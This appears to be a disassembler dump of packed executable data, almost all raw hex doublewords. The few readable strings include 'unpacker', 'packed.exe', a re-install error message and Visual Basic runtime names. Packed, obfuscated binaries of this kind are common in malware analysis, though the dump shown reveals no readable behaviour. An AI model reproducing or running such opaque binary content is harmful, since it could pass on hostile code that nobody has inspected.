		dd 43E90618h, 68FFFB0Bh, 61848C6h, 0FB0B39E9h, 49DA68FFh
		dd 2FE90618h, 68FFFB0Bh, 6184AD9h, 0FB0B25E9h, 0BB1D9AFFh
		dd 0F54BCF75h, 2B8909AFh, 68C03FE5h, 0A5FB7C22h, 3D81215Fh
		dd 781E64BCh, 0B3599FF5h, 0EB91D731h, 8EC50B6Dh, 0E35BE02h
		dd 64B521F8h, 41971533h, 0C422A0AEh, 0B0763FA0h, 0FA8DE367h
		dd 0D1D21F28h, 7BB7DD3Fh, 0CD35911Ah, 0CB2D2DE0h, 3447C4E5h
		dd 0D76CA41h, 94D71C3h,	21F28DFFh, 5EB4381Eh, 0DA6DD7FCh
		dd 6D76BA36h, 6DDE0E53h, 0AD5A103h, 7FDE0E53h, 816A9FFh
		dd 0C7992C8Ah, 0CD60B839h, 15D79822h, 0EF9B5CEEh, 5AF79573h
		dd 574Fh, 9B179300h, 0E5B8C57h,	0F8E44EDEh, 0DE0E5BEBh
		dd 77F785EFh, 5ABC8E21h, 0E40C9D79h, 97C7D983h,	0AD9982BCh
		dd 27E0DB26h, 0DB7281C5h, 0E7827E0h, 0E90D5FC9h, 0F2FA13A5h
		dd 0E477E121h, 0EFA6F78h, 30F789DEh, 0D8AA43A4h, 0A2C41348h
		dd 22A01C40h, 0CE7E5AF7h, 0E5000000h, 1D419715h, 0F85AB637h
		dd 9AF67785h, 0B4129076h, 7AED4F21h, 598EE6Ch, 0D91F79F7h
		dd 8AA33C9Dh, 0F3CC6633h, 2C8EE665h, 0E0194560h, 85EDC27h
		dd 0C9E1CC2h, 4EE13389h, 0B7DBE1C8h, 95F74DD1h,	13B74D91h
		dd 0B09621F2h, 5176D82Eh, 2683A1E7h, 0C8A7094h,	0B74517AAh
		dd 784ADD33h, 8CE1216h,	0CAD81A81h, 0B2DB3C60h,	3E61707Dh
		dd 0AC15DE22h, 6BD5D439h, 0CDB3B719h, 8AEF44Ch,	0B5D83187h
		dd 2DF5AE2Dh, 0DE33D2Ah, 0A8250000h, 0E0640A50h, 1E9E448Ah
		dd 5DDC82C8h, 9A1BC107h, 0E8BAF83Eh, 0B1F751D2h, 0EA30880Bh
		dd 266CC244h, 5EA40280h, 8C579B27h, 4E21F80Fh, 9415CCFDh
		dd 846F7C00h, 570F5ABEh, 0A0E6388Ah, 0D41A7CFAh, 1A997FBBh
		dd 0F35527BAh, 2269C0Dh, 0B20A086h, 70E4A70h, 5EC012F0h
		dd 0F2F00C92h, 0D164CE21h, 0EF09A65h, 3E476DEh,	0F738FB77h
		dd 0D3543A5Ah, 0F18EA7Dh, 0F164CA0Eh, 0B31A7CDEh, 0EAh
		dd 4197151Ah, 89B5371Dh, 0E032BE45h, 80D23C27h,	46B91BEDh
		dd 0CE61B738h, 0E0364762h, 3460DE27h, 0E376D04Eh, 0C9DE2511h
		dd 0B21CD81Fh, 62DE1A60h, 1FC9D51Eh, 49AB15D8h,	3DBF5DDBh
		dd 0F07E50E3h, 0A3C7196Fh, 0DCE53BBDh, 0AE9824C6h, 0D245A7F8h
		dd 43675D4Ch, 0DE2C5FFh, 0E36248DEh, 0F4FD1ECEh, 0A6F8E01Dh
		dd 0BADF4113h, 0BB19987Eh, 0D8904CFh, 0A5CC6DEh, 0C103A6C4h
		dd 67FD3C9Dh, 0D0E34771h, 21266A6Eh, 11D819ECh,	1C9D83A7h
		dd 17AA0888h, 0E9CFF345h, 82A80A6Ah, 0AC055BDCh, 0F5AF7EE3h
		dd 0BA938083h, 0FC00000Ch, 3DE3297Fh, 771D63B9h, 0B55BA1F7h
		dd 0F298DE36h, 93D11771h, 0CE2AAB0Fh, 95FE288h,	459B1DC3h
		dd 7DDB59FFh, 30740037h, 21F80DA3h, 15A5D627h, 0BAF63C94h
		dd 32E9FA3Eh, 87F127E0h, 0DF39B725h, 97158099h,	73BC1D41h
		dd 7DCBE3B2h, 7D8BFE60h, 4563A9FFh, 0F63A5E64h,	21F29C00h
		dd 5E4468D2h, 21F386E0h, 17E04CBFh, 0F1DE0EA3h,	70EC985Fh
		dd 4E5AF769h, 79h, 7A0C9DB5h, 84E463F9h, 3ACD1FF1h, 0AEF21668h
		dd 21F22FE4h, 0E63CC066h, 650F7094h, 0D16EFB29h, 6AD649ABh
		dd 0DE0DF09Dh, 7206E97Bh, 5AF834F6h, 44D4h, 6BB71800h
		dd 1C09F107h, 9D5B3C9Eh, 4E92B60Ch, 21F21560h, 8125B822h
		dd 0EA32C105h, 12B8DE0Dh, 0CFA13492h, 804F1B7Dh, 60DE0DEAh
		dd 0E15DE9CEh, 0BD5AF822h, 13h,	0B70AA001h, 5F5E1264h
		dd 0D03284DCh, 8E636EFh, 7F6D0000h, 2BC5FA1Eh, 0E9BB4EAAh
		dd 0F6CB6FE0h, 0C9FBAE94h, 0BD3D61A5h, 95FF21F8h, 8F0FF571h
		dd 72D4A639h, 0D5798604h, 0AE7A8BF1h, 18CB6BFh,	0CC477952h
		dd 12F8347Ah, 65D33593h, 7ED655E7h, 34C719EBh, 9228AA90h
		dd 5224B711h, 0F1B89E00h, 0E72BA7CBh, 0DE08191Ch, 67E674DEh
		dd 67ABAF11h, 0D81023A2h, 20062A94h, 0BF2044A2h, 0EAFF0F69h
		dd 0AFD537B3h, 20B3F773h, 0AAD42FDBh, 0F270DE40h, 0DB757EC2h
		dd 0B75D42Fh, 9A026B9h,	2DF980E1h, 0C9874C75h, 2F3516DDh
		dd 31B3D4D4h, 40D18FF0h, 96BA0C5Eh, 3D765852h, 5FB822D2h
		dd 0EBCA880Eh, 0ECEBBBEh, 5000000Bh, 892F75D3h,	0C369AF05h
		dd 0F99FE543h, 2ED41A7Ah, 0CF0D53ADh, 0A66E7D3h, 459B1EC4h
		dd 81D759FFh, 0C117953Bh, 74B8447Bh, 21F8726Fh,	0B7E91A6Bh
		dd 27E03328h, 0D6FAC0E9h, 7F7DE92h, 70B620DEh, 4F935752h
		dd 0DE07F784h, 0C91FA046h, 0C0126436h, 0BEA4209Ch, 0ECF7E33Dh
		dd 0EEDE07F7h, 1E70C648h, 0CD44F0BCh, 0C1A7D81Fh, 8052E543h
		dd 6B8FF91Eh, 2D8B09EFh, 0B7DF5DCBh, 2FB86073h,	0AE006AD4h
		dd 0E244C268h, 0DAE0C94Fh, 0F452D0B6h, 6A79BD61h, 70D42FB8h
		dd 4E52B406h, 3782BF0Ah, 0B1D53FD2h, 0C7EB4DCBh, 48CA5EE1h
		dd 37895BEEh, 37CA2AA9h, 0A1DD0365h, 4ADD3BBBh,	2AA81678h
		dd 0CC47A8CCh, 85E39292h, 7FA02D36h, 9A327FF6h,	8C59C538h
		dd 8D4A57A7h, 682A61Ch,	0E4469C20h, 45ACBA18h, 840A14Ch
		dd 3056E6A8h, 0F25C81E3h, 0D2D8CA99h, 0A28F9261h, 0A15h
		dd 387EDA57h, 72B80E92h, 0B0F64CCCh, 0E72D8B0Ah, 2268C041h
		dd 7F00BEE4h, 0BA3DE329h, 0F4761C62h, 30AE549Ah, 0CD5990D6h
		dd 0F8737A89h, 0FE2F8021h, 92B60C9Dh, 75D72DACh, 8392D71h
		dd 7BDC21F8h, 1828659h,	394214A7h, 7CDEF7B9h, 4DC9ED57h
		dd 6B468DD1h, 0BD3BDE07h, 0B1F6C85Bh, 0DD2F890Bh, 398F0D7Bh
		dd 0C2CF4DF3h, 8B702CF2h, 35C81AD3h, 0B2F6FAAFh, 0DE070321h
		dd 30B13FA9h, 217345D8h, 3989B9FDh, 8E74D81Fh, 5325B80Eh
		dd 8FF147C5h, 0F6DC006Ah, 264E278h, 85E3616Fh, 0F59BE133h
		dd 88E2177h, 0B3F71BA1h, 0D236FF4Eh, 9C82A610h,	4682C81Eh
		dd 0D93207E5h, 4081C6DFh, 87CCD590h, 0F254D2F5h, 0D93B8D5Fh
		dd 0F88BED6Bh, 5655438Ch, 0E024A0CAh, 0CA565513h, 250B6DD7h
		dd 0B91A3E84h, 9258C586h, 9DA10305h, 5DBB3B21h,	0CA96F8CAh
		dd 0CC4E7162h, 0CEF6761Ch, 7E0D798Ah, 0C51781C0h, 0EA0E6032h
		dd 74F48604h, 0E086CC1Eh, 0EB710462h, 0E341C0BEh, 7D296D91h
		dd 0BFC66637h, 0A83B9919h, 0FF6084D6h, 0E9DE4288h, 64E67476h
		dd 43A5770Ah, 5D5F4AD0h, 4383F539h, 3051C074h, 0D56EE810h
		dd 0B50E6001h, 0DD03C7F8h, 0C6C8B5B8h, 8000008h, 41E72D8Bh
		dd 7B2167BDh, 0B1579DFBh, 0E68CD232h, 87C50B65h, 0C21E9F1Bh
		dd 0FD53D67Ch, 398F11B7h, 79CF4DF3h, 2C70FC33h,	21F871A7h
		dd 15A1D223h, 997E8A97h, 61AF9004h, 23F588E0h, 9A69ADD1h
		dd 6027E000h, 6D11A4F6h, 1DB00887h, 0FD7BE94Bh,	1291779Bh
		dd 0DD50B2h, 0A52319DEh, 0DF318707h, 0C9C13D99h, 79D54E5h
		dd 4000000h, 49736h, 1E7F6D00h,	9B2FCC7Bh, 7046A87Dh, 319316A6h
		dd 47FFC90Dh, 137D21F2h, 0A965BCD8h, 65440D05h,	0D6553B5Fh
		dd 8B19EB7Eh, 4C1EB107h, 54A2E6EAh, 9607107Ah, 0C21472F0h
		dd 0BA00A92Fh, 9630B096h, 582ABD13h, 98A17306h,	0B8CF9E8Fh
		dd 9FA305F9h, 25D5F65Bh, 4EA7C801h, 8B1C1496h, 0FBF9AE42h
		dd 0F12E64F2h, 0F689DF63h, 0C8AED224h, 0A6EC4Ah, 14CB2482h
		dd 0AC1CCD22h, 7D7BCA9h, 9C190000h, 0CC50F63Ch,	0A8A3076h
		dd 41C066ACh, 76F79DE3h, 0C96D41Ah, 8DD32DAEh, 0C60C64E7h
		dd 2489E20h, 4288DE5Ch,	0A83B7F0Bh, 3221F871h, 997FB0E1h
		dd 0EF5DBF15h, 0F2014571h, 0F827E032h, 5A93C8Eh, 0B6499F1Fh
		dd 931482E4h, 0D0D9F73Dh, 482C6EAh, 0E621F808h,	98DC587Ch
		dd 0DE07F44Bh, 1797258Fh, 0FA5C2EC1h, 349210F6h, 6CCA48EEh
		dd 85E36248h, 7F2AB023h, 0ADD5193Dh, 6FD81FCEh,	0E965E105h
		dd 2FB95EA5h, 0D0329CD4h, 3C82E462h, 2BBE1896h,	0EB449C1Dh
		dd 0F5B8387Ah, 3612FF02h, 78000007h, 0B1579DFBh, 0EB91D72Dh
		dd 21C70D6Bh, 56FC42A2h, 0F7357BD5h, 328E0FABh,	6DC346ECh
		dd 0A9FF8127h, 0E93FBD63h, 9CE06CA3h, 21F87657h, 9D114293h
		dd 4E92B60Ch, 21F80826h, 0B17EC7E8h, 97879E04h,	0BD3B2145h
		dd 0F16F155Bh, 2B7E0497h, 3B317599h, 0C1D8150Eh, 585DFE57h
		dd 0CACDF5A3h, 6D4DDh, 3F991600h, 79CF53F9h, 0B70D8D33h
		dd 0EC4CCB71h, 297F00A6h, 0C1FDA5E3h, 0FCA2E840h, 37DD2379h
		dd 6F155BB5h, 1A5197F1h, 76B94A8Eh, 0F04121F8h,	6F9715BFh
		dd 0E032D82Bh, 66B82227h, 0F147C5D3h, 0F975815Eh, 0CFEA8F98h
		dd 0C2AE3B61h, 27E06831h, 3EC14FB9h, 856A84E6h,	89CF29A7h
		dd 0E59CB12Dh, 78D54h, 36F40000h, 2ACh,	597156Dh, 0FE9D7683h
		dd 0E57CB0C1h, 28AE4193h, 0D3173B81h, 21F829A3h, 7EDF036Dh
		dd 0D8697AF5h, 0D5FB5D16h, 9C1BB12Fh, 0D6287E00h, 62E3F184h
		dd 7A2C006h, 44D91B5h, 0C6D81F71h, 73832DA5h, 52A4E817h
		dd 0B5CA482Eh, 0DF607B73h, 1B24F689h, 0DD2FC42Ah, 0D973F197h
		dd 18ABFD5Bh, 0B2F890Ah, 15B84B8Fh, 0D842D42Fh,	2C7D0376h
		dd 0B2F67296h, 0D42F1521h, 0D9DD3FA9h, 3D3F2795h, 328BF5D2h
		dd 0EBCB4E9Fh, 0DE473437h, 20000005h, 59FF45A3h, 93397FD5h
		dd 0C96FB513h, 0FEA4EA4Ah, 9FDD237Dh, 0DA36B703h, 156BEE94h
		dd 51A729CFh, 91E7650Bh, 4488144Bh, 21F877BFh, 15B9EA3Bh
		dd 0A0AE4197h, 5431C422h, 87E16248h, 46240B25h,	0CC286EC8h
		dd 54E5F650h, 2ABF3091h, 88EABB0Fh, 7BF26h, 36260000h
		dd 167h, 18997F6Dh, 0F95B2DC0h,	52AB0D8Bh, 677B3B5h, 6A1D0A0Dh
		dd 0AC000005h, 0ED93D92Fh, 27CD1369h, 650B51A7h, 0A2488EE6h
		dd 4381C721h, 7EDA5B5Fh, 0B90F9238h, 0F54BCD73h, 2D8B09AFh
		dd 0E024B0E7h, 21F87413h, 155586D7h, 0A0AE4197h, 0AF058822h
		dd 0D253395Dh, 0C4A11476h, 61DFDDA2h, 0E965C107h, 0C554E5F6h
		dd 19h,	0F9362Ch, 0E94A0000h, 969C16C2h, 67C14315h, 36D2B315h
		dd 0E7h, 0B60C9D6Dh, 22B51692h,	7ADAB42Eh, 0ABAD627Ch
		dd 0E40B71A2h, 7E8EB682h, 2F5021F8h, 2FC797F1h,	871A6C98h
		dd 0EE12A801h, 0A3318708h, 5D61C325h, 1A05BF19h, 0F23D9ED8h
		dd 0B35164D4h, 76C81EA0h, 2C85EF14h, 0F5A2528Dh, 0B26D5A5Dh
		dd 0F4000004h, 35DB2177h, 6F155BB1h, 0AD5399EFh, 0EA90D62Eh
		dd 8BC90F69h, 0C622A317h, 157DA80h, 3D9315BBh, 75D351F7h
		dd 286CF82Fh, 21F875DBh, 9D9DCE1Fh, 0AC92B60Ch,	6F41D42Ah
		dd 71C5090Dh, 2421F27Ch, 0D164BA3Eh, 92F271FFh,	0A6CB2DFFh
		dd 0FBEF6585h, 0B0BED7A0h, 1AD4DDA8h, 0FD21736Fh, 0FB419717h
		dd 0D5EE9F7h, 4C900CDEh, 0DE0D5E87h, 0D71C7AFAh, 1F9D0B6Dh
		dd 20B3098Dh, 0A5388E12h, 0E92F81D3h, 0D265C343h, 4CCCB22Eh
		dd 5EF90AF6h, 9701DE0Dh, 41BE835h, 9D1F0000h, 9AFC7A0Ch
		dd 0C03E2448h, 9F01D366h, 92F579Bh, 87F121F8h, 893B6EF4h
		dd 0C2A72165h, 1B85D815h, 0A23C31C2h, 190609F5h, 3EDh
		dd 1056B22Fh, 4A90E66Ah, 88CE24A4h, 0BF0563E2h,	0FA409819h
		dd 57D8E6BCh, 9215BB01h, 0CC4EF43Ah, 8862C72h, 0A53168AEh
		dd 0F8759261h, 0D6075821h, 92B60C9Dh, 0C72FB516h, 64D497B1h
		dd 25F78AE0h, 0F1A571D3h, 4321F8BEh, 51CFB5D9h,	8F75B1F7h
		dd 1220B30Dh, 0D1A33690h, 0CC175B7Fh, 0EDE084Eh, 56D442A4h
		dd 0C2E76D00h, 77F6DC00h, 5ABC8E21h, 74FF1256h,	0D53FD810h
		dd 0E2F135B1h, 9FD43070h, 417DC21Eh, 3070F6FDh,	388AF4D4h
		dd 6EECD2D6h, 70F10246h, 0BDF9D430h, 30706A79h,	0B40670D4h
		dd 0FAE01C62h, 662E379h, 0ED4FA173h, 14A7017Fh,	85A91B8Eh
		dd 9F84A809h, 3D321CDAh, 0B11365BBh, 227CC7E5h,	745AD6D2h
		dd 2FB4A0F6h, 0ABCA5E03h, 50BADF41h, 0C9820AF7h, 0DAC7CAEBh
		dd 30Dh, 3076D24Fh, 6AB0068Ah, 0A8EE44C4h, 0DF258302h
		dd 1A60B839h, 77F8C6DCh, 0B235DB21h, 0EC6E145Ah, 28A64C92h
		dd 0C55188CEh, 0F87A7281h, 0F6277821h, 0AE419715h, 7EC422A0h
		dd 4F734960h, 0F21DFD0Bh, 0D659FF21h, 0C719EB7Eh, 0E33FC834h
		dd 47D9DE0Dh, 2558D460h, 37365AF8h, 7A000000h, 0D4DF8A19h
		dd 5BBD2C50h, 0B60C9D7Ah, 3B9F3192h, 6F441AF1h,	2F0194ECh
		dd 33777BDDh, 21F2C4EDh, 672056Fh, 0DE0E87F9h, 16A28517h
		dd 5AF7459Ah, 0BC78h, 9715DF00h, 240AAE41h, 80EE50A6h
		dd 816A9FFh, 8B992C8Ah,	6FF3D90Dh, 0C8B48619h, 27E0323Bh
		dd 0BD0355BFh, 0E036FCB9h, 61B73527h, 0A1F7751Bh, 846A0Eh
		dd 0B74517AAh, 9379DB35h, 3C80A416h, 0DE0DCB0Ah, 1A387EE8h
		dd 0C5092D8Fh, 0D819674Ah, 25F7E849h, 6A9B68ACh, 0F55FD439h
		dd 5880CDECh, 4367D1F6h, 3E84DC5Dh, 0B1428602h,	39D43939h
		dd 7EFF6DCFh, 0B80A64E6h, 0AEB8B85Fh, 483538F5h, 1F9h
		dd 145ABE3Bh, 4E94EA6Eh, 84CA28A8h, 0C3095FDEh,	0FE449C1Dh
		dd 5BDCE2C0h, 9619BF05h, 0D052F83Eh, 0C8A3076h,	0A12D64AAh
		dd 0F87B965Dh, 0D2035421h, 0F63C9415h, 2E74D250h, 0B60C9D15h
		dd 569A1692h, 27E0328Dh, 0B581E34Dh, 21F21363h,	58AE2C12h
		dd 8BED4BCAh, 0FD69FC66h, 0DE0DEDF2h, 2FBB7C0Eh, 0C6EC649h
		dd 0F81B6CE8h, 0ED31AD5Ah, 0DE0DE1E6h, 0B1187AE4h, 0DDh
		dd 0F0D94F5h, 0E58E5051h, 9715A283h, 0D9A718Ah,	97E90B5Ch
		dd 1B75F604h, 783B96F7h, 979E0A5Fh, 5B56C235h, 0D227E0C8h
		dd 70ACF254h, 1EB1078Ah, 0FE7CEA4Ch, 1A8F15A8h,	1C9E84A8h
		dd 185C60C2h, 21F2C976h, 50365AC4h, 0EE073D1h, 416886ACh
		dd 0D513577Bh, 38D81A6Eh, 5DB587D7h, 43D16B44h,	0DC0163C5h
		dd 0E7684E72h, 0AE0F4B91h, 0B472441Ch, 2A820581h, 1173C597h
		dd 6DC622A3h, 0F5AD40A4h, 0FA443134h, 3C000000h, 7D2369BFh
		dd 0B75DA3F9h, 0F59BE137h, 32D81E76h, 0D31157B1h, 0E6AEBCFh
		dd 499F22C8h, 85DB5D03h, 0BD1B993Fh, 70B44077h,	21F87863h
		dd 15E51667h, 32183C94h, 0CDF355B3h, 0A04D3091h, 16590121h
		dd 6EC846B4h, 90E6644Ah, 50CC082Eh, 0E08EC70Ch,	37990327h
		dd 6F971556h, 0E032D82Bh, 66B82227h, 7182C642h,	7927E032h
		dd 2C3AAD0Fh, 0F41258AEh, 0A7EB0FB5h, 21F8086Eh, 0C5D366D0h
		dd 5ABF147h, 0C81B5F87h, 12DE07F4h, 57C356A8h, 9B724A4Fh
		dd 0E0DEA12Bh, 18BE0462h, 9BA93C9Ah, 0B298BC1Ch, 8BBD2031h
		dd 792EECF1h, 60C29427h, 55BDFEDh, 1411E972h, 2E3FA1EFh
		dd 36C91FA0h, 5416D9B3h, 0BAB07751h, 55B6DA3Ch,	9C261770h
		dd 113799F7h, 126EEFD5h, 9F1FAD7Fh, 0FB79E749h,	161D0A9Dh
		dd 31000000h, 5D6E81D0h, 9F016194h, 0BF037FBEh,	27E03234h
		dd 0F2EA4CB6h, 40981581h, 0C7219FADh, 4AA42634h
		dd 0CE26A9B7h, 54AC2D3Bh, 0D632B3C1h, 5EB63543h, 0E73DBDCBh
		dd 6CC24654h, 895722D9h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 240C895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68240489h
		dd 7ECh, 56243489h, 0E30BA68h, 24348B59h, 4C481h, 0EE810000h
		dd 52F5F43Fh, 815EF089h, 4ECh, 24248900h, 4240481h, 5E000000h
		dd 54C668h, 24048900h, 8B08468Fh, 89532434h, 4C381E3h
		dd 83000000h, 1C8704C3h, 34FF5C24h, 0C4835824h,	0FB24E904h
		dd 0C436FFFAh, 453E7D74h, 0E9F5FB1Ah, 0B810174Fh, 6184BF8h
		dd 0E0FFC503h, 549A63Bh, 8C37379h, 795AB6B2h, 116B131Ch
		dd 3FE31C11h, 6D8738F4h, 0F5D8E1Bh, 365C5EF4h, 0F5F40D5h
		dd 315528B0h, 2E748CC5h, 5F54A6CEh, 79E37596h, 78CE5D66h
		dd 3B2762C9h, 50CAA155h, 58427A62h, 6CCB607Fh, 6B473365h
		dd 134FD69Eh, 67785300h, 5ED24970h, 7A52B63Fh, 753DDC4Ah
		dd 5B46EC3Bh, 1909858Fh, 30FA68EEh, 52E3480Bh, 515A661Ch
		dd 16BA3538h, 6789D435h, 7E8h, 1C3AE000h, 16477719h, 12E95Bh
		dd 85920000h, 0FEEF888Fh, 23FC568Dh, 78D04613h,	0B6376160h
		dd 6C11C381h, 0E4800000h, 0BE75h, 0BF0F0000h, 333C8BC7h
		dd 10E9h, 0C2542800h, 9CDD2FA3h, 49069375h, 0F7E0D5E4h
		dd 88F78125h, 0B836870Fh, 42E896E9h, 0A170EF81h, 0C7814826h
		dd 78C0BE37h, 0FAE88166h, 35B25725h, 0E933048Fh, 0Ah, 4899957Eh
		dd 43643151h, 7E923C4h,	40000000h, 0E3A7E75Ch, 0EE83B51Bh
		dd 8B566003h, 0EFBB5FC7h, 615A87C7h, 0FE84Eh, 0B2E00000h
		dd 486B771Dh, 1FA41463h, 0BAD566AAh, 0B70F516Dh, 815859D6h
		dd 0FF94DCFEh, 1A850FFFh, 0E9000000h, 0Bh, 72F1DDC2h, 0BF5B6EFDh
		dd 0E910221Dh, 22h, 11B4108Ch, 94B866FCh, 0FF53E95Bh, 5041FFFFh
		dd 0D9F3C37Ah, 0D4C335A7h, 15D5E389h, 0C57E557Dh, 7FE9550Ch
		dd 0B000001h, 0DD65B2A3h, 437C8360h, 5F6D5C3Ah,	61706E75h
		dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 8 dup(0)
		dd 62E90000h, 6800001Ch, 61851B5h, 0FA3168E9h, 528668FFh
		dd 5EE90618h, 68FFFA31h, 6185379h, 0FA3154E9h, 541668FFh
		dd 4AE90618h, 68FFFA31h, 6185455h, 0FA3140E9h, 551568FFh
		dd 36E90618h, 68FFFA31h, 618556Bh, 0FA312CE9h, 55BC68FFh
		dd 22E90618h, 68FFFA31h, 6185DA9h, 0FA3118E9h, 5E2068FFh
		dd 0EE90618h, 68FFFA31h, 6185EF1h, 0FA3104E9h, 5FCF68FFh
		dd 0FAE90618h, 68FFFA30h, 618604Ch, 0FA30F0E9h,	612A68FFh
		dd 0E6E90618h, 68FFFA30h, 61861DCh, 0FA30DCE9h,	62D068FFh
		dd 0D2E90618h, 68FFFA30h, 61868B9h, 0FA30C8E9h,	69B268FFh
		dd 0BEE90618h, 68FFFA30h, 6186A6Fh, 0FA30B4E9h,	0A56A27FFh
		dd 42CDBF58h, 0E12E5CF5h, 7B94FB94h, 17F8952Eh,	13DBDACAh
		dd 0AF48957Ah, 4DE633DCh, 0E67FCC43h, 401A67A8h, 0AF9EE9F1h
		dd 0DD4DF7h, 0BDCAD2E9h, 0BE4DF7AFh, 14F220B3h,	5F92F5FDh
		dd 0E6F147DFh, 0CD4C4253h, 22E14CC3h, 0C1EA2569h, 0ED2735CFh
		dd 4F34C7AEh, 0BA070886h, 0AE6D545Dh, 0F1E1E8A6h, 5F949F49h
		dd 0F1DA4447h, 4E93AF4Dh, 0AE985F37h, 208C24h, 0AEDE0000h
		dd 0F901C0A5h, 49F17ECDh, 0E0F82D38h, 4DF180ABh, 0DEB52C48h
		dd 24AEDFE6h, 12133h, 5B148500h, 14281F32h, 730441CEh
		dd 2A647508h, 9FE8991h,	4E5647E0h, 47E00A39h, 9CA73F4Ah
		dd 5A33FC31h, 0D7B780B5h, 543A0338h, 0FB7BFCBBh, 0B131FB65h
		dd 0AFEAAC5h, 8E0926E1h, 0E916FEFBh, 0B347E00Ah, 4245B432h
		dd 790CD0A8h, 9CE92668h, 4F848B03h, 0DCCB9C2h, 0C8513DF6h
		dd 42154AC5h, 6ECFA2D7h, 0FF5FF21Dh, 49F1D7DBh,	4C546BCAh
		dd 4DF1DC3Bh, 0FA8D3D48h, 894DF1DBh, 0DB65222Ah, 0B164DF1h
		dd 0C14E3FA0h, 14EB98Ch, 0F7B69BA4h, 0C5203176h, 8316BD9Eh
		dd 4944FD14h, 2BBE91C6h, 466BBCBh, 0A3EAA350h, 0D164376Ch
		dd 6BF7E89h, 20C8CA87h,	0D51A72Eh, 0C4CCE3A2h, 47E657C3h
		dd 2522B5C0h, 8F0E018Ch, 0EDBE5CA1h, 0A125EC91h, 0BD000019h
		dd 55EE3BD4h, 0F28BD837h, 912A7798h, 2BC411FEh,	7060AD62h
		dd 2BE4A945h, 0C94645DEh, 62ADE37Ch, 0FD127C15h, 7F87D6B0h
		dd 4DF7B108h, 72C89E7Bh, 838CFE1Bh, 0B4BC7B4Eh,	47DF5FD3h
		dd 7B3AA5B0h, 91AC65FAh, 26B9ACFBh, 11FE9029h, 0A5AE0EC4h
		dd 0CDF901C0h, 1149F17Eh, 46D93658h, 0A6BEF3FEh, 4DF180E5h
		dd 98EFF20Eh, 24AEDF38h, 0A2EDh, 1C723F00h, 137B34F3h
		dd 61F4C7FCh, 35DAB37Ch, 5C17E800h, 335B47DFh, 98F68FDCh
		dd 0ACB54277h, 0DCFE06C5h, 0CB49F164h, 0D1673C0h, 99526928h
		dd 22F31CF3h, 3659D4B5h, 2B68C85Bh, 185004DFh, 0F8954E0Dh
		dd 0D3CCBBC3h, 0A4AF47E5h, 59C44B43h, 0F51A730Ch, 0BED0F276h
		dd 14DB80EDh, 18D0h, 1D6AA5ECh,	0BA070884h, 59A66921h
		dd 0F340CFC0h, 8FDC335Ah, 0B5D8169Fh, 17740D5Ah, 7E12ABF8h
		dd 0E3AB4491h, 0B605DF2Ch, 0F7B1D9AEh, 0F7CDAA4Dh, 92F5FD14h
		dd 0F147DF5Fh, 4B4253E6h, 0B0DE77C4h, 725C125Fh, 7B34F31Ch
		dd 8469FC13h, 0E0E8D3BBh, 47DF5FA7h, 588D820Bh,	77E2ED85h
		dd 0DDC4CD2Ah, 78BC161Eh, 202B49F1h, 0A5ADC4EBh, 4DF182E2h
		dd 0A30396A1h, 4DF182E8h, 9BF2EF0Bh, 24AEC13Bh,	0BEF0h
		dd 43480100h, 31C497CCh, 2F5B1403h, 45D8ABE0h, 141DE65Dh
		dd 0E8666E2Dh, 1F49F175h, 1D45514h, 7740F543h, 0E0E174h
		dd 818A247Dh, 6E2D141Dh, 7A492866h, 1F545F1Ch, 0AED9E1F8h
		dd 0CD1C79EAh, 0AB0A99C2h, 0E447D0ECh, 8E737C51h, 0C84EC7CFh
		dd 2A351E8Dh, 33DCB26Bh, 29982BFEh, 0A4F11E70h,	0D8C830Bh
		dd 3F37C84Fh, 0DD773EE3h, 0F9000017h, 912A7798h, 2EC714FBh
		dd 0CD66B35Ch, 67004DC2h, 0AC9CE926h, 67A8E509h, 50A811Ah
		dd 9E711FB8h, 39D6B851h, 0BBC312ECh, 4DF7B2CCh,	72FCD2AFh
		dd 31BEF31Ch, 0C7484328h, 9554BF92h, 0F179458Dh, 0E6A5B049h
		dd 78AD622Dh, 0C44B44A5h, 9B7E3431h, 0DFC6CFA8h, 75361820h
		dd 465149F1h, 658415F5h, 0CDD6CEF8h, 6D2129E8h,	18CB2C7Dh
		dd 319C7317h, 741CD5FCh, 0F52AE5A5h, 0AF82B722h, 573E471Ch
		dd 0B8859098h, 6772D11Bh, 709FEFA8h, 0B048A23h,	85F8C48Ch
		dd 2C96E6Ch, 1740h, 8DDA355Ch, 2A7798F4h, 0C916F991h, 63B05F30h
		dd 0FF4CC3CAh, 4548A60Fh, 0A7E47DCAh, 0E821B68h, 731BB401h
		dd 26754F9Ch, 0F7B3691Eh, 673D1A4Dh, 74F31C72h,	0EDB8A4D2h
		dd 134FBA0h, 1D000017h,	0B54E9B74h, 52EB38D7h, 0F18AD738h
		dd 8B24719Eh, 0D0C00D02h, 8B8409E5h, 29E6A53Eh,	0C24D43DCh
		dd 5DB2DC75h, 0DFE73610h, 4DF7B3A8h, 7228FEDBh,	31BEF31Ch
		dd 727A3928h, 49F1736Ch, 9303505Bh, 0C2AFB8C1h,	9253FB03h
		dd 0D28B5003h, 79C154BBh, 0C03D1D6Eh, 5AA3661Fh, 8EA56451h
		dd 6B798B0Dh, 0E2430571h, 5F3267A8h, 3B226CCCh,	0BD3EE69Ah
		dd 9199DAC7h, 0E299E0F6h, 0C4517A85h, 0FD8FF015h, 770ADD12h
		dd 62EF242Fh, 112EAE59h, 0F88A5C8h, 642CE5A4h, 17C582ABh
		dd 40ED7431h, 0DF363EADh, 0C4E4AD6Dh, 4D41FAB9h, 3858C1CCh
		dd 0B4016CD7h, 1D9C731Bh, 7117B261h, 41854CF1h,	5D000016h
		dd 0F58EDB34h, 922B7897h, 31CA17F8h, 0CB64B15Eh, 10004DC2h
		dd 0CB4449A5h, 69A6E57Eh, 20D831Ch, 9D721CB5h, 1F277650h
		dd 4DF7B468h, 23683E1Bh, 47DF5F64h, 0DF6F8CFFh,	7FACDF47h
		dd 0CCBF47DFh, 0EE47DF5Fh, 0FA1579A0h, 0A462108Fh, 2BD0EDB8h
		dd 15EB64h, 858A0700h, 22ED9F38h, 0C14E3CD5h, 5BB4DB74h
